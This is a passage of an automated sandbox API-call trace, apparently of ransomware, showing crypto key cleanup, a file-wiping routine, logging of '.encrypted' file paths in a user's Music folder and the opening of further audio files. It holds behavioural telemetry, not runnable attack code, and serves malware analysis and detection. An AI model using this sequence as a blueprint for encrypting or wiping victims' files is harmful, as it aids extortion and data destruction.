lpMsg=0xe8f3dfee40) returned 0 [0027.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.131] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.132] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.132] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.132] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.132] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.132] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.132] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.132] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.132] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0027.132] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.132] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.133] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.133] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.133] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.133] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.133] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.133] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.134] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.134] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.136] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.136] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.136] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.136] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.136] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.136] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.136] CharLowerBuffW (in: lpsz="byte[55782]", cchLength=0xb | out: lpsz="byte[55782]") returned 0xb [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.137] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.137] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.137] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.137] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.138] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.138] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.138] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.140] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.140] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.140] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.140] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7018) returned 1 [0027.140] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.140] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.141] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.141] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1b6a, lpOverlapped=0x0) returned 1 [0027.141] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.141] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1b6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.141] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7018) returned 1 [0027.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\iqgBYd1lYt0eST.encrypted.wav\r\n", cchWideChar=75, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 75 [0027.141] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\iqgBYd1lYt0eST.encrypted.wav\r\n", cchWideChar=75, lpMultiByteStr=0xe8f4069b90, cbMultiByte=75, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\iqgBYd1lYt0eST.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 75 [0027.141] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a370*, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a370*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4a, lpOverlapped=0x0) returned 1 [0027.141] CloseHandle (hObject=0x188) returned 1 [0027.145] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.145] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.145] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.145] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.145] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.146] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.146] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.146] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.147] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41789a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.147] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.147] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.m4a", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0027.147] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.m4a", cchWideChar=58, lpMultiByteStr=0xe8f4051770, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.m4a", lpUsedDefaultChar=0x0) returned 58 [0027.148] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\latasn2xd.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=58, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0027.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=58, lpWideCharStr=0xe8f4065c70, cchWideChar=58 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\LaTASn2XD.m4a") returned 58 [0027.148] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.149] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.149] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.149] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.149] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 